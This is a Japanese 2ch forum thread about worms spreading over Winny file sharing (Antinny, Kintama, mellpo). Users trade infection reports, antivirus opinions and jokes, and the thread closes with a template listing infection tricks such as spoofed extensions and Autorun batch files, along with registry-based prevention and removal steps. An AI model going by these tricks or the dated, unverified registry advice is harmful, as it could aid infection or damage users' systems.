の拡張子のファイルがいっぱいみつかるんだけどなにこれ？
昔はみかけなかったんだが・・・。

あぁ書き忘れ、ノートンで反応がない.folder形式ね。

なんか最近勝手に再起動するんだけど・・なんで？

>>136と同じmellpoって奴に引っ掛かった。
この頃の油断とマンネリでノートン先生に依存しきっていてたよo...rz
ノートン反応せず。反省した。
症状は
mellpoフォルダが自動作成されて、
何故かDドライブに「ふたりエッチ25巻」のjpgがｽﾞﾗｰっと並んでますた

>>824
めるぽフォルダが作成されたあたりに、落としたファイルを詳細に
チェックしる。

>>819
俺なのか俺なのか俺なのか？
ちなみにwavファイルの名前は愚かな民だった　うぇ
いや、さんざん既出ならいいんだけどね・・
そのなんたらとは関係なかったのかね・・
まあ、天ぷらの対策やら予防やら見てるとキモイどころか何やってるのかと
感染すればいいじゃないかと、途中退室くらいいいじゃないかと・・
え？９連鎖・・　がんばれと・・・
ノートンとかもうアホかと・・

寝れ

ノートンとバスターは一長一短。
選択は自分のお好みで。

「うぇ」ってのはうさだ萌えの「はげ」と同義と見倣して桶？

>>824
ノートンとバスターに提出しといて

実は僕ウイルスなんて良く分からないから不安なんだ〜
とりあえず、msconfigもスタートアップもチェキして、ファイル検索で、システムと隠しファイルもオンして、昨日作成されたファイルや、最近更新されたファイルもチェキして、
見つけたファイル名でレジストリも検索したし・・・
でも不安なんだ・・・
だから僕今からサイインスコって裏技を使おうと思うんだけど・・
てゆうか実は、さっきまでゲームしててウイルスの事なんて気にしてなかったんだけど・・
ああ、恐ろしい。
この感情は僕のおてぃんてぃんが初めて大きくなって・・・
とりあえず、ﾑｷﾑｷしてたら透明な汁が気持いいみたいな・・
そう、気持いい。
もちろんサイインスコなんてしないよ、でも最近作ったレポートをDVDに焼いといた・・
いや、ウイルスとかﾏｼﾞびびったって・・　自称趣味はPC　特技はクラックの俺でもびびったって・・
あー気持いい。

（つづき）
・
・
そう、便秘が解消した気持ちよさと一緒よ　うぇ

キンタマかかったとしても後でアンチウイルスでスキャンすりゃあ大丈夫なんだよな？

このスレ推奨のキンタマ対応策

１、ＰＣを窓から投げ捨てる
２、クリーンインスコ
３、放置

放置は勧めてないだろ

放置すんのは今更キンタマ踏んだ上にテンプレも埋められないヴォケの方じゃね？

そういうのがいまだにACCS攻撃してるわけだな。

面白いから放置･･･といってもACCSは迷惑してるみたいだしなあ

【使用OS】 XP　ホーム　FMV DESKPOWER H70K9V（FMVH70K9V）
【WindowsUpdateしてるか】 時々来るから必ずしてる
【AntiVirusは】 トレンドマイクロ
【ちゃんとUpdateしてるか】 時々来るから必ずしてる
【スキャンした結果】 なし
【オンラインスキャンしたならその結果は】　なし　
【Winnyのﾊﾞｰｼﾞｮﾝ】 2.0 b7.1
【Winny歴、総DL量は】 半年３０G
【テンプレを読んだか】 読んだ。
【テンプレにある対策を実行したか】 該当にない。
【症状か具体的に、分かる限りすべて書く】 タスクバーが上にいってしまった。
【何をしたらそんなことになったのか】デスクトップ整理してた時か、 よくわからない急になった。
【これまでにとった措置】 怖くなった。

>>839
ttp://www.cosmopia.co.jp/IT-FAQ/b-taskbar/p0.html

【使用OS】 Win2000 sp4
【WindowsUpdateしてるか】 最新
【AntiVirusは】 ノートン
【ちゃんとUpdateしてるか】 最新
【スキャンした結果】 ウイルスは見つかりません
【オンラインスキャンしたならその結果は】 ウイルスは見つかりません
【テンプレを読んだか】 はい
【テンプレにある対策を実行したか】 はい
【症状か具体的に、分かる限りすべて書く】 一見、問題なし
【何をしたらそんなことになったのか】

ファイルに入ってたbug.exeといういかにも怪しいのと、ゲームイメージを
デーモンに入れて、その中のsetup.exeを実行すると「ハードディスクを初期化しますか？」と
聞いてくるのを発見。どちらもノートンでスキャンしても問題はなし。（ゲームはＣＤ全体スキャン）
今まで、ノートンに反応しないウイルスには出会ったことがないので、サブＰＣにファイルを移して
実行してみると、bug.exeの方は画面が上のほうから徐々に茶色くなってきて、やがて画面全体が
茶色くなって操作を受け付けなくなり、しかたなく強制終了で再起動。
もう一つの方は、おそらくゲーム内のsetup.exeをフォーマットソフトにすりかえただけかと思ってたけど
「ハードディスクを初期化しますか？」というのに「いいえ」を押すと、ＩＤを入れてくださいとかでて、
それもキャンセルするとハードディスク初期化ウイルスとか物騒なウインドウが出る。
その後、強制終了でもウインドウが消えないのでしかたなく再起動。

【これまでにとった措置】
ノートンの完全ウイルススキャン。ウイルスバスターのオンラインスキャン。
テンプレの★流行種その３ 【Autorun+bat】 に書いてある活動内容が行われていないかチェック

再起動後は特に問題がないようにも見えるんですが、
何か知らないところで、活動とかしていないか気になるんですが、これらのは既知のものでしょうか？
bug.exeはテンプレに・bug.exeで気をそらす。 とあったので、操作不能になる以外実害はないのかも。
実害がないようならノートンには提出しない方がいいのか、一応やっておいた方がいいのかどうでしょう？

>834を修正
このスレ推奨のキンタマ対応策

１、ＰＣを窓から投げ捨てる
２、クリーンインスコ
３、気づかない

>>841
ノートンに提出しといて下さい

このスレ推奨のキンタマ対応策

１、ＰＣを窓から投げ捨てる
２、クリーンインスコ
３、いしのなかにいる

趣味は週に1度のクリインス子ですが、なにか？

注意ウイルス入り
ソースネクストウイルスセキュリティ反応なし
（一般ゲーム）Postal2 Power up kit ポスタル2 パワーアップキット 日本語化（ccd）.rar
ハッシュは不明です。

じゃあ、PCにフロントチョークを決めてみました

みんなウィルスチェックに何使ってる？
俺はMcAfeeだけど
無料でいいのってないね

AVGとノートン

自分の勘

>>850
人によっては最強かも

AVGのいい評判も聞くけど
「avast! 4 Home Edition」なんてどうかな
フリーだから使おうか迷ってるんだが

McAfeeで良いと思うが

スコット＝ノートン大先生

マカフィーじゃキンタマに刺される

McAfeeでキンタマくらったやつがたくさんいる、ノートン先生にしとけ。

無料で使えるソフトで、いいのは無いんですかね

P2Pやる上で聞いてんのか？

ノートン&バスターでオンラインスキャン、
マカフィー常駐なオレ

ﾉｰﾄﾝ先生にキンタマ付けて流せば良いのか。
なるほどなるほど。

SSM+フリーのアンチウィルスでいいだろ

>>846

ソースネクストってところが・・・

アンチウイルスの話はセキュ板でやってくれ
ここはウイルスの情報交換のスレだろ

またどっかの社員が嘘の優劣話を吹きに来るからｳｻﾞｲ

ぜひわが社の割れを使ってくださいってか？
社員がこんなところで宣伝するわけないでしょ

「おまえはバカだ」と感染者をあざ笑う新種ワーム 
ttp://www.itmedia.co.jp/enterprise/articles/0501/27/news022.html 

こっちだ。スペース入いちゃったorz
ttp://www.itmedia.co.jp/enterprise/articles/0501/27/news022.html

>>863
過去ログ読んで気づかないとは、鈍い君は幸せものだねｗ

ほらねｗ

>>865
�dクス（・∀・）
>犠牲者を言葉でなぶるだけでなく
禿げﾜﾛﾀ。
あいかわらずのitmedia（ﾉ∀`）

WinnyおよびPCレベル判定診断

どちらかをよく考ええらんでください。

あなたのパソコンに大切なデータが入ってました、それも大量にいままで
ためこんだものです。

ウイルスを踏んでしまいました。もしそうなったらどちらの症状か
選んでください。

A：大事なデータ丸ごと消去される
B：データは無事だったが、しかしWinnyなどに流れてしまった。

診断結果は
９００レス目にお答えします。

>>869
B

b

b
個人情報が分かるファイルなんてないしな

Ｃ：流出のために圧縮が始まったが、空きスペースが無くて未遂

a

こないだ久しぶりに見た夢が、Whiterでデータ全消去される夢で鬱
いやぁ本当に恐かった・・・ちびると思った

B

>>874
おねしょ乙

追記
>>もしそうなったらどちらの症状か
選んでください。

もしそうなったらせめてどちらかを選べって事です。

よくわかんね

〜だと嫌だ困るって方を選ばそうとしてるのか、
〜になりそうな悪寒って方を選ばそうとしてるのか、
あるいは実際に〜だったってのを選ばそうとしてるのか

＞もしそうなったらせめてどちらかを選べ
もしそうなったら選んでる余地は無いわけだしな

A

だって重要なデータは復帰できるようにしてあるし
でも戸棚のDVDやスタンドアローンPC上に避難したデータも消しちゃうような画期的ウイルスだったらB

急にHDがガリガリいいだして
ネットにもアクセスするから(((( ；ﾟДﾟ)))ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙしていたが



自動liveupdateだった（・∀・）
普段は自動更新前に取りに行くこと多いからなぁ・・・

　　ヽ(・ω・)/　 　ｽﾞｺｰ
　 ＼(.＼ ノ

A

バックアップとってないデータは重要なデータではない。

とりあえずA
俺にとってはどっちも同じ、再インスコめんどくせ。

mellpo.exe

日本語の不自由な人が心理テストするなよ

ぶっちゃけ教えてクンよりウザイ＞意味不明心理テストとそれに答えてる奴ら

１を熟読したんですが良く分からないことが。
久しぶりにｎｙ始めたら.mpg.lzh　みたいなのが多いこと多いこと　もちろんｷﾝﾀﾏﾋﾞﾝｺﾞｰ
XP HOME SP2、ﾉｰ�d自動うｐ常駐、拡張子隠しファイル表示設定です
ところで恐る恐る解凍してみたら、一度は検疫失敗・WinRARのﾛｸﾞみたいなとこ汚されて
ﾌﾟﾛｸﾞﾗﾑﾌｧｲﾙアクセスするたんびに先生がうざいからRARを再ｲﾝｽｺ。感染はしなかった。
2度目に解凍したら検疫成功、RARも汚されなかったけど、出来たﾌｫﾙﾀﾞはﾌｫﾙﾀﾞアイコンでｘｘｘ.aviという良く分からないもの。
これも恐る恐る開いたら、単なるちゃんとした動画みたいで。縮小版表示で先頭動画画像が見えてた。
これって、検疫されたよってことなんでしょうか？中の人はもう単なる動画として実行しちゃってもよかですか？
動画再生までは勇気が出なかった・・
たぶん検疫しなかったらそのﾌｫﾙﾀﾞの中にきっとｷﾝﾀﾏ.exeが入ってたのでしょうけど。どうなんでしょ？

>>887
＞出来たﾌｫﾙﾀﾞはﾌｫﾙﾀﾞアイコンでｘｘｘ.aviという良く分からないもの。
これ読む限り拡張子偽装にしか思えないけど、実際どうなの？正確に文章書けてるの？
それにノートンがどう処理したか知りたいならログ確認すれば？

>>887
（・∀・）ｺﾝﾆﾁﾊ!　＆　（=人=）ﾅﾑﾅﾑ

(TV) ウゴウゴルーガ 19921224木199302##＊夕再 (28m02s QVGA 136015498byte).avi.exe
(TV) ウゴウゴルーガ 19930120水 (29m04s QVGA 141937184byte).avi.exe

検疫ﾛｸﾞにはこうある。拡張子表示してても.exeはｴｸｽﾌﾟﾛｰﾗ上では見えなかった。
開いてみたのはﾌｫﾙﾀﾞのみ。
もう元ファイルは消したけど今これを消してみた。じゃあ一応スキャンもしてくる。

やっぱり感染はなしだ。ｘｘｘ.avi　〜なが〜いスペース〜　　.exe
ですらなかったし
感染ログはW32.antinny.B

偽フォルダを開いたんじゃねぇの

mellpo調べてみたけど情報なさすぎ。
CのPROGRAM FILESの下にMELLPOが作られてワードやらエク（ｒｙ
と、他のﾔｼと同じなんだがこれって外部に送信してんの？
だとしたらnyの使用関係なし？

無関係。

久しぶりにｎｙ始めて大騒ぎ

怪しいレジストリも削除したし、キンタマだっていないのに、
未だにwinnyを起動するたびにキャッシュが消されるというのは・・・・orz
再インスコしろって事？

>>896
（・∀・）ｺﾝﾆﾁﾊ!亜種　＆　（=人=）ﾅﾑﾅﾑ

手っ取り早いわな。

896＞　ファイル名を指定して実行でmsconfigでとりあえずサービスとかも全部切れば？
あと、ＸＰだとファイルの検索でシステムフォルダのファイルが見えないので、詳細設定にチェックいれて、
感染した日にできたファイル等を見つけて削除しれ・・

mellpoって具体的に何やってるんだ？

さて、そろそろ次スレについて語ろうか

ニュイルス、ニャーム解析者の集うスレPart33

>>902が
ウイルス、ワーム解析者の集うスレPart33と書いてあると思うんだけど、
ニュイルス、ニャーム解析者の集うスレPart33 に見える。
漏れのPCウイルスに感染してる？？？

( ´д)ﾋｿ(´д｀)ﾋｿ(д｀ )ﾋｿ

>>903
頭に蛆がワイテル

Y太のことかー!!ｗ

●ここは初心者の質問・救済スレではありません（これ大事）●

Winnyで流れているワーム、ウイルス等の報告・調査・対処をするスレです。
質問はテンプレを読んでからにして下さい。
読まずに質問しても「テンプレ嫁」と切り返されるだけです。
余裕があれば過去ログにも目を通してください。

■流行種
・元祖Antinny系　・キンタマ系　・batファイル　・スクリーンセーバー　etc

■主な流行感染パターン
・exeの前にスペースたくさん（例：「秘密の写真.jpg　　　　　　　　　.exe」）
・拡張子が.folderに変更されたHTMLからexeを実行させる
・CD･DVDでAutorunを利用してbatファイルを実行
・解凍ソフトの脆弱性を利用し、スタートアップに解凍させて再起動後exeを実行

■ダウンロード後のちょっとした注意
・落としたファイルは必ずウイルススキャンする
・exeファイルは安易に実行しない
・ファイルのアイコンが偽装されてないか確認する

■全ての感染者に共通の、確実な対処方法
ハードディスクをフォーマットした上で、Windowsの再インストールをする。
上書きインストールではダメです。
現在ハードディスクにあるデータは消えるので、退避するなり諦めるなりしてください。

【前スレ】
Winnyを狙ったワーム・ウイルス情報 Part32
http://tmp4.2ch.net/test/read.cgi/download/1102892779/

ﾃﾝﾌﾟﾚまとめ　http://www.geocities.jp/kemkzuenc/Antinny.html
Antinny対策サイト ttp://nyweb.hp.infoseek.co.jp/

■質問テンプレ
質問の際、あなたのPC環境やウイルスソフトがわからないと対処できません。
テンプレに沿って答えることで解答が出やすくなります。

【OS】
【WindowsUpdateしてるか】
【使用AntiVirusソフト】
【AntiVirusをUpdateしてるか】
【ウイルススキャンの結果】
【オンラインスキャンの結果】
【Winnyのﾊﾞｰｼﾞｮﾝ】
【Winny歴、総DL量】
【テンプレを読んだか】
【テンプレにある対策を実行したか】
【症状（具体的に、分かる限りすべて書く）】
【何をしたらそんなことになったのか】
【これまでにとった措置】

■推奨無視リスト
このままIgnore.txtにコピペしてください。

.exe,,0,0,,0,1,0
.jpg,,0.0085,0.0088,,0,1,0
.jpg .lzh,,0,0,,0,1,0
.g .lzh,,0,0,,0,1,0
.avi .lzh,,0,0,,0,1,0
.m .lzh,,0,0,,0,1,0
.w .lzh,,0,0,,0,1,0
.txt .lzh,,0,0,,0,1,0
.rar .lzh,,0,0,,0,1,0
.cab .lzh,,0,0,,0,1,0
.exe .lzh,,0,0,,0,1,0
※無視リストを追加しすぎるとマシンに負荷が掛かります。

■感染しないための注意1　〜あらかじめやっておくと良いこと〜
・アンチウイルスソフトのインストール及び常駐、定期的な更新。
・うっかり操作防止のため、エクスプローラの操作はダブルクリックで。
・ファイルの拡張子は表示させておく。できれば詳細表示を使うか、ファイラを使う。
・nyをProgramFilesに置かない。CacheとDownフォルダは詳細表示にする。
・CD/DVDドライブのAutorunは切っておく（方法は下記参照）。
・適切な無視リストの設定などで、ウイルスを呼び込まない。
・Whiter対策としてC:\Windows\Systemに「Whismng.exe」というフォルダを作成。
　詳しくは下記サイト参照。
　ttp://mxtrojan.at.infoseek.co.jp/column02.html
・IEのセキュリティ設定を厳しくする。特にActiveXコントロールとプラグインを無効orダイアログ表示に。
　（拡張子.folderで悪意のあるコードを含んだhtmlを読み込むバグ、悪用の危険あり)
　ttp://internet.watch.impress.co.jp/cda/news/2004/01/30/1927.html
・アイコンを偽装したexeを見分けるため、フォルダアイコン、テキストファイルなど偽装されやすいアイコンは標準のものから変更しておく。
・XMLのOBJECT要素によってコマンドを起動するバグ対策に、
　HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0にあるFlagsの値を10進数で1に変更する。
　※レジストリの改変は致命的なエラーを引き起こす可能性があるので、自信がなければ触らないこと
・レジストリ：HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run のアクセス権を制限する。
　※アプリケーションのインストール時に弊害が起こることもあるので注意。

■感染しないための注意2　〜普段からの注意〜
・大事なデータはこまめにCDなどの外部メディアにバックアップを取る。
・落としたファイルは必ずウイルススキャンする。
・指定外の場所へ解凍される脆弱性がある解凍ソフトがあるので対応済のソフトを使う。
　ttp://www.forest.impress.co.jp/article/2004/07/30/arcsecurity.html
・解凍ソフトはWinRARなど、解凍前に中身を確認できるアーカイバを使う。
・CDイメージはAutorunを切ってからマウントし、更に実行ファイル（setup.exe等）をウイルススキャンする。
★exeファイルの実行は自己責任。実行するならウイルス対策を怠らないこと。
　 また、exeファイルに関してはアンチウイルスソフトを当てにしすぎないこと。


●CD/DVDドライブのAutorunの切り方●
　◆Win9x、Meの場合
　　1.[マイ コンピュータ]-[プロパティ]-[デバイスマネージャ]-[CD-ROM]-[プロパティ]-[設定]を開く
　　2.オプション項目の「挿入の自動通知」のチェックを外す
　◆Win2000、XPの場合
　　1.[スタート]−[ファイル名を指定して実行]で「regedit」と入力
　　2.レジストリエディタで、HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Cdrom を展開
　　3.右の「AutoRun」値のデータを0に設定
※設定変更後、必ず再起動すること。再起動しないと有効になりません。
※窓の手などの管理ソフトでも簡単にオフに出来ます。
※DaemonToolsの自動起動とは別です。これをオフにしても自動実行は切れません。

★流行種その1
【キンタマ（W32.AntiWinny.K等）】
■感染ルート
・nyあるいはそれ以外の方法でキンタマワームを踏んで感染。
・IEや拡張子「.folder」のバグを利用し、自動実行させ感染。
■主な症状（感染確認方法）
・Upfolder.txtに登録したことのないフォルダが登録される。
・レジストリエディタ（regedit.exe）を開こうとするとメモ帳が開く。
・"C:\Documents and Settings\ユーザー名\Local Settings\Temp"に"ユーザー名.txt"が作成される。
・HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
　に名前xxx データC:\Program Files\???\???.exe（???は任意の名前）が登録される。
・スタートアップに該当プログラムが登録される。(msconfigで確認)
■主な活動内容（種類により活動内容は異なる）
・Winnyとは関係なくランダムな時間にデスクトップのスクリーンショットを取る。
・デスクトップ上のファイルをまとめて　[キンタマ] 俺のデスクトップ PCのユーザー名[日付]（ファイル詰め合わせ）.lzh　という名前でupフォルダに置く。
・UpFolder.txtを書き換えてファイルを勝手にアップロードする。
・Winnyを接続すると知らない間に勝手にこれらをダウンロードする。
・各exeファイルはそのアイコンの本来の動作も同時に行う。
　（例えばjpgアイコンに偽装したexeを起動すると、ワームが実行されると共に画像も表示されるため気づきにくい）
■駆除方法
・Winnyをフォルダごと削除、そしてWinnyを再び入れ直す。
・HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Runの怪しい値を削除する。
・C:\Program Files\???\???.exeを削除、 スタートアップからも該当プログラム削除。
■予防
・なるべく関わらない。推奨無視ワード「キンタマ」「デスクトップ」

■まとめサイト
　ttp://myui.s53.xrea.com/kin/index.html
■挙動の似たウイルス【苺きんたま（Trojan.Upchan）】
　ttp://www.geocities.jp/ichigo_kintama/